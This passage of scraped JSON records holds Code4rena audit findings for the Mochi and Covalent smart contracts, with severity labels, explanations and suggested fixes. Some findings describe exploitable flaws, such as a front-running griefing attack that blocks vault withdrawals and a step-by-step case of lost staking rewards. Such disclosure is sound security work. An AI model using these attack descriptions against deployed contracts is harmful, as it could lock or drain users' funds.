example of its use is here along with many other accesses to the \"vesting\" state variable. https://github.com/code-423n4/2021-10-mochi/blob/8458209a52565875d8b2cefcb611c477cefb9253/projects/mochi-core/contracts/emission/VestedRewardPool.sol#L36-L46 ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps I suggest modifying \"checkClaimable as follows: function checkClaimable(Vesting memory v) internal pure returns(Vesting memory) { if (v.ends < block.timestamp) { v.claimable += v.vested; v.vested = 0; v.ends = 0; } return v; } and I suggest these changes to function \"vest\" function vest(address _recipient) external { Vesting memory v = checkClaimable(vesting[_recipient]); uint256 amount = mochi.balanceOf(address(this)) - mochiUnderManagement; uint256 weightedEnd = (v.vested * v.ends + amount * (block.timestamp + 90 days)) / (v.vested + amount); v.vested += amount; v.ends = weightedEnd; vesting[_recipient] = v; mochiUnderManagement += amount; } These functions are also candidates for similar changes: https://github.com/code-423n4/2021-10-mochi/blob/8458209a52565875d8b2cefcb611c477cefb9253/projects/mochi-core/contracts/emission/VestedRewardPool.sol#L48-L71 "}, {"title": "Long Revert Strings", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/41", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-mochi-findings", "body": "Long Revert Strings"}, {"title": "Gas Optimization on the Public Function", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/38", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle defsec # Vulnerability details ## Impact This does not directly impact the smart contract in anyway besides cost. This is a gas optimization to reduce cost of smart contract. Calling each function, we can see that the public function uses 496 gas, while the external function uses only 261. ## Proof of Concept According to Slither Analyzer documentation (https://github.com/crytic/slither/wiki/Detector-Documentation#public-function-that-could-be-declared-external), there are functions in the contract that are never called. These functions should be declared as external in order to save gas. Slither Detector: external-function: https://github.com/code-423n4/2021-10-mochi/blob/main/projects/mochi-core/contracts/vault/MochiVault.sol#L75 ## Tools Used Slither ## Recommended Mitigation Steps 1. Clone repository for Mochi Smart Contracts. 2. Create a python virtual environment with a stable python version. 3. Install Slither Analyzer on the python VEM. 4. Run Slither against all contracts. 5. Define public functions as an external for the gas optimization. "}, {"title": "FRONT-RUNNABLE INITIALIZERS", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/37", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-10-mochi-findings", "body": "FRONT-RUNNABLE INITIALIZERS"}, {"title": "ERC20 approve method missing return value check", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/36", "labels": ["bug", "0 (Non-critical)"], "target": "2021-10-mochi-findings", "body": "ERC20 approve method missing return value check"}, {"title": "Upgrade pragma to at least 0.8.4", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/34", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-mochi-findings", "body": "Upgrade pragma to at least 0.8.4"}, {"title": "Missing events for governor only functions that change critical parameters", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/32", "labels": ["bug", "0 (Non-critical)", "disagree with severity"], "target": "2021-10-mochi-findings", "body": "Missing events for governor only functions that change critical parameters"}, {"title": "Lack of input validation of arrays", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/31", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-mochi-findings", "body": "Lack of input validation of arrays"}, {"title": "Gas optimization: Struct layout", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/30", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle gzeon # Vulnerability details ## Impact Detailed description of the impact of this finding. ## Proof of Concept https://github.com/code-423n4/2021-10-mochi/blob/main/projects/mochi-core/contracts/interfaces/IMochiVault.sol L6-L12: the struct can be reordered into struct Detail { Status status; address referrer; uint256 collateral; uint256 debt; uint256 debtIndex; } such that status and referrer are put into the same slot, should save ~2000 gas per borrow ## Tools Used None ## Recommended Mitigation Steps Reorder the struct as suggested, and modify impacted code at IMochiVault.sol L28-L34 DutchAuctionLiquidator.sol L77 ## Extra Realistically, the range of debtIndex (start at 1e18 and increase by fee per year) probably fit in a uint88(11bytes) so you can pack (status(1byte), referrer(20bytes), debtIndex(11bytes)) all in 32 bytes, saving another storage slot. "}, {"title": "Gas optimization: Placement of require statements in MochiVault.sol", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/27", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle gzeon # Vulnerability details ## Impact Some of the require statements in MochiVault.sol can be placed earlier to reduce gas usage on revert ## Proof of Concept https://github.com/code-423n4/2021-10-mochi/blob/main/projects/mochi-core/contracts/vault/MochiVault.sol L226-227: can be placed at the very top of the function to avoid the expensive cssr call L237: can be placed before initialization of increasingDebt ## Tools Used None ## Recommended Mitigation Steps Relocate the said require statements "}, {"title": "Not all functions of DutchAuctionLiquidator.sol check the auction state", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/26", "labels": ["bug", "0 (Non-critical)", "disagree with severity"], "target": "2021-10-mochi-findings", "body": "Not all functions of DutchAuctionLiquidator.sol check the auction state"}, {"title": "debts calculation is not accurate", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/25", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The value of the global variable debts in the contract MochiVault.sol is calculated in an inconsistent way. In the function borrow() the variable debts is increased with a value excluding the fee. However in repay() and liquidate() it is decreased with the same value as details[_id].debt is decreased,, which is including the fee. This would mean that debts will end up in a negative value when all debts are repay-ed. Luckily the function repay() prevents this from happening. In the mean time the value of debts isn't accurate. This value is used directly or indirectly in: - utilizationRatio(), stabilityFee() calculateFeeIndex() of MochiProfileV0.sol - liveDebtIndex(), accrueDebt(), currentDebt() of MochiVault.sol This means the entire debt and claimable calculations are slightly off. ## Proof of Concept https://github.com/code-423n4/2021-10-mochi/blob/main/projects/mochi-core/contracts/vault/MochiVault.sol function borrow(..) details[_id].debt = totalDebt; // includes the fee debts += _amount; // excludes the fee function repay(..) debts -= _amount; details[_id].debt -= _amount; function liquidate(..) debts -= _usdm; details[_id].debt -= _usdm; https://github.com/code-423n4/2021-10-mochi/blob/main/projects/mochi-core/contracts/vault/MochiVault.sol#L263-L268 https://github.com/code-423n4/2021-10-mochi/blob/806ebf2a364c01ff54d546b07d1bdb0e928f42c6/projects/mochi-core/contracts/profile/MochiProfileV0.sol#L272-L283 https://github.com/code-423n4/2021-10-mochi/blob/806ebf2a364c01ff54d546b07d1bdb0e928f42c6/projects/mochi-core/contracts/profile/MochiProfileV0.sol#L242-L256 https://github.com/code-423n4/2021-10-mochi/blob/806ebf2a364c01ff54d546b07d1bdb0e928f42c6/projects/mochi-core/contracts/profile/MochiProfileV0.sol#L258-L269 https://github.com/code-423n4/2021-10-mochi/blob/806ebf2a364c01ff54d546b07d1bdb0e928f42c6/projects/mochi-core/contracts/vault/MochiVault.sol#L66-L73 https://github.com/code-423n4/2021-10-mochi/blob/806ebf2a364c01ff54d546b07d1bdb0e928f42c6/projects/mochi-core/contracts/vault/MochiVault.sol#L79-L88 ## Tools Used ## Recommended Mitigation Steps In function borrow(): replace debts += _amount; with debts += totalDebt "}, {"title": "griefing attack to block withdraws", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/21", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact Every time you deposit some assets in the vault (via deposit() of MochiVault.sol) then \"lastDeposit[_id]\" is set to block.timestamp. The modifier wait() checks this value and makes sure you cannot withdraw for \"delay()\" blocks. The default value for delay() is 3 minutes. Knowing this delay you can do a griefing attack: On chains with low gas fees: every 3 minutes deposit a tiny amount for a specific NFT-id (which has a large amount of assets). On chains with high gas fees: monitor the mempool for a withdraw() transaction and frontrun it with a deposit() This way the owner of the NFT-id can never withdraw the funds. ## Proof of Concept https://github.com/code-423n4/2021-10-mochi/blob/806ebf2a364c01ff54d546b07d1bdb0e928f42c6/projects/mochi-core/contracts/vault/MochiVault.sol#L47-L54 https://github.com/code-423n4/2021-10-mochi/blob/806ebf2a364c01ff54d546b07d1bdb0e928f42c6/projects/mochi-core/contracts/vault/MochiVault.sol#L171 https://github.com/code-423n4/2021-10-mochi/blob/806ebf2a364c01ff54d546b07d1bdb0e928f42c6/projects/mochi-core/contracts/profile/MochiProfileV0.sol#L33 ## Tools Used ## Recommended Mitigation Steps Create a mechanism where you only block the withdraw of recently deposited funds "}, {"title": "flashFee lack of precision", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/2", "labels": ["bug", "0 (Non-critical)"], "target": "2021-10-mochi-findings", "body": "flashFee lack of precision"}, {"title": "Move Function _stake Validator Declaration", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/89", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-10-covalent-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact The variable v is declared after the first use of its contents. Moving the declaration before the first use will save gas. ## Proof of Concept \"v\" is declared here: https://github.com/code-423n4/2021-10-covalent/blob/ded3aeb2476da553e8bb1fe43358b73334434737/contracts/DelegatedStaking.sol#L180 But \"v\"s contents (validators[validatorId]) is used here first: https://github.com/code-423n4/2021-10-covalent/blob/ded3aeb2476da553e8bb1fe43358b73334434737/contracts/DelegatedStaking.sol#L178 Move line 180 above line 178 and change line 178 to use \"v\". I've run out of contest time to continue testing but I'd recommend looking through the following functions for how \"validators[validatorId]\" may be used more efficiently. https://github.com/code-423n4/2021-10-covalent/blob/ded3aeb2476da553e8bb1fe43358b73334434737/contracts/DelegatedStaking.sol#L272 https://github.com/code-423n4/2021-10-covalent/blob/ded3aeb2476da553e8bb1fe43358b73334434737/contracts/DelegatedStaking.sol#L346 ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps See Proof of Concept "}, {"title": "Change lines to save gas", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/75", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-10-covalent-findings", "body": "# Handle pants # Vulnerability details Change lines 178 to 173. We know it's minor but it's still optimizing gas and more elegant :) "}, {"title": "Change order of lines to save gas in setAllocatedTokensPerEpoch", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/73", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-covalent-findings", "body": "Change order of lines to save gas in setAllocatedTokensPerEpoch"}, {"title": "Inconsistent definition of integer sizes in function `getDelegatorDetails()`", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/70", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2021-10-covalent-findings", "body": "# Handle pmerkleplant # Vulnerability details ## Impact The function `getDelegatorDetails()` declares three arrays of type `uint` (alias for `uint256`). The variables saved in the arrays are of type `uint128`. See lines [451-453](https://github.com/code-423n4/2021-10-covalent/blob/main/contracts/DelegatedStaking.sol#L451). The suggestion is to be consistent with the integer sizes. "}, {"title": "Unclear definition of `validatorId`'s integer size", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/68", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2021-10-covalent-findings", "body": "# Handle pmerkleplant # Vulnerability details ## Impact The mapping `validators` is defined with `uint` (alias for `uint256`) as key type. In the functions receiving the `validatorId` as parameter however, the `validatorId` is defined as `uint128`. See lines [166](https://github.com/code-423n4/2021-10-covalent/blob/main/contracts/DelegatedStaking.sol#L166), [214](https://github.com/code-423n4/2021-10-covalent/blob/main/contracts/DelegatedStaking.sol#L214). The suggestion is to be consistent with the integer size. "}, {"title": "Declare variable `CQT` as constant", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/67", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-10-covalent-findings", "body": "# Handle pmerkleplant # Vulnerability details ## Impact The variable `CQT` is used as constant but not declared as such. Declaring it as constant saves gas. "}, {"title": "Validator can fail to receive commission reward in `redeemAllRewards`", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/65", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-10-covalent-findings", "body": "Validator can fail to receive commission reward in `redeemAllRewards`"}, {"title": "unnecessary assert when dealing with CQT", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/63", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-10-covalent-findings", "body": "unnecessary assert when dealing with CQT"}, {"title": "Misleading parameter name", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/60", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2021-10-covalent-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-10-covalent/blob/ded3aeb2476da553e8bb1fe43358b73334434737/contracts/DelegatedStaking.sol#L423-L433 ```solidity function transferUnstakedOut(uint128 amount, uint128 validatorId, uint128 stakingId) public { Unstaking storage us = validators[validatorId].unstakings[msg.sender][stakingId]; require( uint128(block.number) > us.coolDownEnd, \"Cooldown period has not ended\" ); require(us.amount >= amount, \"Amount is too high\"); transferFromContract(msg.sender, amount); us.amount -= amount; // set cool down end to 0 to release gas if new unstaking amount is 0 if (us.amount == 0) us.coolDownEnd = 0; emit UnstakeRedeemed(validatorId, msg.sender, amount); } ``` The last parameter of `transferUnstakedOut()` is named `stakingId`, while other functions is using `unstakingId`. This is inconsistent and can be misleading. ### Recommendation Change from `stakingId` to `unstakingId`. "}, {"title": "Unbounded iteration over validators array", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/59", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-10-covalent-findings", "body": "Unbounded iteration over validators array"}, {"title": "`unstake` should update exchange rates first", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/57", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2021-10-covalent-findings", "body": "# Handle cmichel # Vulnerability details The `unstake` function does not immediately update the exchange rates. It first computes the `validatorSharesRemove = tokensToShares(amount, v.exchangeRate)` **with the old exchange rate**. Only afterwards, it updates the exchange rates (if the validator is not disabled): ```solidity // @audit shares are computed here with old rate uint128 validatorSharesRemove = tokensToShares(amount, v.exchangeRate); require(validatorSharesRemove > 0, \"Unstake amount is too small\"); if (v.disabledEpoch == 0) { // @audit rates are updated here updateGlobalExchangeRate(); updateValidator(v); // ... } ``` ## Impact More shares for the amount are burned than required and users will lose rewards in the end. ## POC Demonstrating that users will lose rewards: 1. Assume someone staked `1000 amount` and received `1000 shares`, and `v.exchangeRate = 1.0`. (This user is the single staker) 2. Several epochs pass, interest accrues, and `1000 tokens` accrue for the validator, `tokensGivenToValidator = 1000`. User should be entitled to 1000 in principal + 1000 in rewards = 2000 tokens. 3. But user calls `unstake(1000)`, which sets `validatorSharesRemove = tokensToShares(amount, v.exchangeRate) = 1000 / 1.0 = 1000`. **Afterwards**, the exchange rate is updated: `v.exchangeRate += tokensGivenToValidator / totalShares = 1.0 + 1.0 = 2.0`. The staker is updated with `s.shares -= validatorSharesRemove = 0` and `s.staked -= amount = 0`. And the user receives their 1000 tokens but notice how the user's shares are now at zero as well. 4. User tries to claim rewards calling `redeemAllRewards` which fails as the `rewards` are 0. If the user had first called `redeemAllRewards` and `unstake` afterwards they'd have received their 2000 tokens. ## Recommended Mitigation Steps The exchange rates always need to be updated first before doing anything. Move the `updateGlobalExchangeRate()` and `updateValidator(v)` calls to the beginning of the function. "}, {"title": "Code Style: private/internal function names should be prefixed with `_`", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/55", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2021-10-covalent-findings", "body": "# Handle WatchPug # Vulnerability details Here are some examples that the code style of function names does not follow the best practices: - MaltDAO#incrementEpoch() https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/DAO.sol#L106-L119 ```solidity=106{107} /* Internal methods */ function incrementEpoch() internal { epoch = epoch.add(1); } function _setEpochLength(uint256 length) internal { epochLength = length; emit SetEpochLength(length); } function _setMaltToken(address _malt) internal { malt = IBurnMintableERC20(_malt); emit SetMaltToken(_malt); } ``` "}, {"title": "Cache storage variables in the stack can save gas", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/53", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-10-covalent-findings", "body": "Cache storage variables in the stack can save gas"}, {"title": "Adding unchecked directive can save gas", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/52", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-10-covalent-findings", "body": "Adding unchecked directive can save gas"}, {"title": "Check `validatorId < validatorsN` can be done earlier", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/51", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-10-covalent-findings", "body": "Check `validatorId < validatorsN` can be done earlier"}, {"title": "Avoid unnecessary storage read can save gas", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/49", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-10-covalent-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-10-covalent/blob/ded3aeb2476da553e8bb1fe43358b73334434737/contracts/DelegatedStaking.sol#L101-L115 ```solidity function takeOutRewardTokens(uint128 amount) public onlyOwner { require(amount > 0, \"Amount is 0\"); uint128 currentEpoch = uint128(block.number); uint128 epochs = amount / allocatedTokensPerEpoch; if (endEpoch != 0){ require(endEpoch - epochs > currentEpoch, \"Cannot takeout rewards from past\"); endEpoch = endEpoch - epochs; } else{ require(rewardsLocked >= amount, \"Amount is greater than available\"); rewardsLocked -= amount; } transferFromContract(owner(), amount); emit AllocatedTokensTaken(amount); } ``` Since the `takeOutRewardTokens()` function is `onlyOwner`, `transferFromContract(owner(), amount);` can be changed to `transferFromContract(msg.sender, amount);` to avoid unnecessary internal call and storage read to save some gas. "}, {"title": "Code duplication", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/46", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2021-10-covalent-findings", "body": "# Handle WatchPug # Vulnerability details Duplicated or logically equivalent code can be hard to maintain. Avoiding code duplication is recommended when feasible. For example, most of the business logic in `redeemAllRewards()` and `redeemRewards()` is the same. Consider calculating the amount of the total rewards in `redeemAllRewards()` and call `redeemRewards()` with the amount to reduce code duplication. "}, {"title": "Usage of an incorrect version of `Ownbale` library can potentially malfunction all `onlyOwner` functions", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/45", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2021-10-covalent-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-10-covalent/blob/ded3aeb2476da553e8bb1fe43358b73334434737/contracts/DelegatedStaking.sol#L62-L63 ```solidity // this is used to have the contract upgradeable function initialize(uint128 minStakedRequired) public initializer { ``` Based on the context and comments in the code, the `DelegatedStaking.sol` contract is designed to be deployed as an upgradeable proxy contract. However, the current implementaion is using an non-upgradeable version of the `Ownbale` library: `@openzeppelin/contracts/access/Ownable.sol` instead of the upgradeable version: `@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol`. A regular, non-upgradeable `Ownbale` library will make the deployer the default owner in the constructor. Due to a requirement of the proxy-based upgradeability system, no constructors can be used in upgradeable contracts. Therefore, there will be no owner when the contract is deployed as a proxy contract. As a result, all the `onlyOwner` functions will be inaccessible. ### Recommendation Use `@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol` and `@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol` instead. And change the `initialize()` function to: ```solidity function initialize(uint128 minStakedRequired) public initializer { __Ownable_init(); ... } ``` "}, {"title": "Typos", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/42", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2021-10-covalent-findings", "body": "Typos"}, {"title": "getDelegatorDetails declaration inside a loop", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/39", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-10-covalent-findings", "body": "# Handle pants # Vulnerability details Declaration inside a loop is less gas efficient than before it. See line 462 for example. "}, {"title": "++i is more gas efficient than i++ in loops forwarding", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/37", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-10-covalent-findings", "body": "# Handle defsec # Vulnerability details ## Impact ++i is more gas efficient than i++ in loops forwarding. ## Proof of Concept 1. Navigate to the following contracts. \"https://github.com/code-423n4/2021-12-amun/blob/main/contracts/basket/contracts/callManagers/RebalanceManager.sol#L218\" \"https://github.com/code-423n4/2021-12-amun/blob/main/contracts/basket/contracts/callManagers/RebalanceManager.sol#L234\" \"https://github.com/code-423n4/2021-12-amun/blob/main/contracts/basket/contracts/callManagers/RebalanceManagerV2.sol#L155\" \"https://github.com/code-423n4/2021-12-amun/blob/main/contracts/basket/contracts/callManagers/RebalanceManagerV3.sol#L166\" \"https://github.com/code-423n4/2021-12-amun/blob/main/contracts/basket/contracts/factories/PieFactoryContract.sol#L88\" \"https://github.com/code-423n4/2021-12-amun/blob/main/contracts/basket/contracts/facets/Call/CallFacet.sol#L55\" \"https://github.com/code-423n4/2021-12-amun/blob/main/contracts/basket/contracts/facets/Basket/BasketFacet.sol#L50\" \"https://github.com/code-423n4/2021-12-amun/blob/main/contracts/basket/contracts/facets/Basket/BasketFacet.sol#L160\" \"https://github.com/code-423n4/2021-12-amun/blob/main/contracts/basket/contracts/facets/Basket/BasketFacet.sol#L321\" \"https://github.com/code-423n4/2021-12-amun/blob/main/contracts/basket/contracts/facets/Basket/BasketFacet.sol#L348\" \"https://github.com/code-423n4/2021-12-amun/blob/main/contracts/basket/contracts/facets/Basket/BasketFacet.sol#L381\" \"https://github.com/code-423n4/2021-12-amun/blob/main/contracts/basket/contracts/singleJoinExit/SingleNativeTokenExit.sol#L69\" ## Tools Used Code Review ## Recommended Mitigation Steps It is recommend to use unchecked{++i} and change i declaration to uint256. "}, {"title": "Line 127 lack of precision", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/36", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2021-10-covalent-findings", "body": "# Handle pants # Vulnerability details The following calculation can be more numeric precise: uint128 perEpochRateIncrease =uint128(uint256(allocatedTokensPerEpoch)*divider/uint256(totalGlobalShares)); globalExchangeRate += perEpochRateIncrease * (currentEpoch - lastUpdateEpoch); Change it to: uint128 perEpochRateIncrease =uint256(allocatedTokensPerEpoch)*divider; globalExchangeRate += perEpochRateIncrease * (currentEpoch - lastUpdateEpoch) / uint256(totalGlobalShares); "}, {"title": "addValidatior doesn't check new validator address != 0", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/35", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-10-covalent-findings", "body": "addValidatior doesn't check new validator address != 0"}, {"title": "emit staked should be at stake function and not _stake.", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/34", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-10-covalent-findings", "body": "emit staked should be at stake function and not _stake."}, {"title": "emit initialize", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/33", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2021-10-covalent-findings", "body": "# Handle pants # Vulnerability details You forgot emit event at the end of initialize function. "}, {"title": "delegatorCoolDown ", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/29", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "sponsor disputed"], "target": "2021-10-covalent-findings", "body": "delegatorCoolDown "}, {"title": "state variable divider could be set immutable.", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/27", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-10-covalent-findings", "body": "# Handle pants # Vulnerability details state variable divider could be set immutable. At line 9. "}, {"title": "takeOutRewardTokens(): Optimise epochs calculation and comparison ", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/26", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-10-covalent-findings", "body": "# Handle hickuphh3 # Vulnerability details ## Impact The following lines in `takeOutRewardTokens()` are only needed in the case where `endEpoch != 0`. ```jsx uint128 currentEpoch = uint128(block.number); uint128 epochs = amount / allocatedTokensPerEpoch; ``` Hence, they can be shifted inside the \"if\" block. Furthermore, a double calculation of `endEpoch - epochs` can be avoided by saving the result into a new variable `newEpoch`. ## Recommended Mitigation Steps ```jsx if (endEpoch != 0) { uint128 newEpoch = endEpoch - (amount / allocatedTokensPerEpoch); require(newEpoch > uint128(block.number), \"Cannot takeout rewards from past\"); endEpoch = newEpoch; } ``` "}, {"title": "Make more data accessible", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/22", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-covalent-findings", "body": "Make more data accessible"}, {"title": "addValidator(): Validator's commission rate should be checked to not exceed divider", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/20", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2021-10-covalent-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact The check `require(amount < divider, \"Rate must be less than 100%\");` exists in `setValidatorComissionRate()` but not in `addValidator()`. ### Recommended Mitigation Steps Add the check in `addValidator()` as well. "}, {"title": "Long Revert Strings", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/19", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-10-covalent-findings", "body": "Long Revert Strings"}, {"title": "Incorrect updateGlobalExchangeRate implementation", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/17", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor acknowledged", "sponsor confirmed"], "target": "2021-10-covalent-findings", "body": "# Handle xYrYuYx # Vulnerability details ## Impact UpdateGlobalExchangeRate has incorrect implementation when `totalGlobalShares` is zero. If any user didn't start stake, `totalGlobalShares` is 0, and every stake it will increase. but there is possibility that `totalGlobalShares` can be 0 amount later by unstake or disable validator. ## Proof of Concept https://github.com/xYrYuYx/C4-2021-10-covalent/blob/main/test/c4-tests/C4_issues.js#L76 This is my test case to proof this issue. In my test case, I disabled validator to make `totalGlobalShares` to zero. And in this case, some reward amount will be forever locked in the contract. After disable validator, I mined 10 blocks, and 4 more blocks mined due to other function calls, So total 14 CQT is forever locked in the contract. ## Tools Used Hardhat test ## Recommended Mitigation Steps Please think again when `totalGlobalShares` is zero. "}, {"title": "reset rewardsLocked to 0 when no longer used", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/13", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-10-covalent-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function _stake() initializes endEpoch using the value of rewardsLocked. Afterwards rewardsLocked is no longer used (because now endEpoch !=0) So you can set rewardsLocked to 0 save a bit of gas. ## Proof of Concept https://github.com/code-423n4/2021-10-covalent/blob/ded3aeb2476da553e8bb1fe43358b73334434737/contracts/DelegatedStaking.sol#L171-L176 ## Tools Used ## Recommended Mitigation Steps Update to code of _stake() to: if (endEpoch == 0) { endEpoch = uint128(block.number) + rewardsLocked / allocatedTokensPerEpoch; rewardsLocked = 0; // no longer used and saves a bit of gas } "}, {"title": "reward tokens could get lost due to rounding down", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/10", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2021-10-covalent-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function depositRewardTokens divides the \"amount\" of tokens by allocatedTokensPerEpoch to calculate the endEpoch. When \"amount\" isn't a multiple of allocatedTokensPerEpoch the result of the division will be rounded down, effectively losing a number of tokens for the rewards. For example if allocatedTokensPerEpoch is set to 3e18 and \"amount\" is 100e18 then endEpoch will be increased with 33e18 and the last 1e18 tokens are lost. A similar problem occurs here: - in setAllocatedTokensPerEpoch(), with the recalculation of endEpoch - in takeOutRewardTokens(), with the retrieval of tokens - in _stake(), when initializing endEpoch (e.g. when endEpoch==0) ## Proof of Concept https://github.com/code-423n4/2021-10-covalent/blob/ded3aeb2476da553e8bb1fe43358b73334434737/contracts/DelegatedStaking.sol#L90-L98 https://github.com/code-423n4/2021-10-covalent/blob/ded3aeb2476da553e8bb1fe43358b73334434737/contracts/DelegatedStaking.sol#L368-L383 ## Tools Used ## Recommended Mitigation Steps In depositRewardTokens() add, in the beginning of function, before the if statement: require(amount % allocatedTokensPerEpoch == 0,\"Not multiple\"); In takeOutRewardTokens() add: require(amount % allocatedTokensPerEpoch == 0,\"Not multiple\"); Update setAllocatedTokensPerEpoch() to something like: if (endEpoch != 0) { ... uint128 futureRewards = ... require(futureRewards % amount ==0,\"Not multiple\"); ... } else { // to prevent issues with _stake() require(rewardsLocked % allocatedTokensPerEpoch==0,\"Not multiple\"); } "}, {"title": "getValidatorsDetails 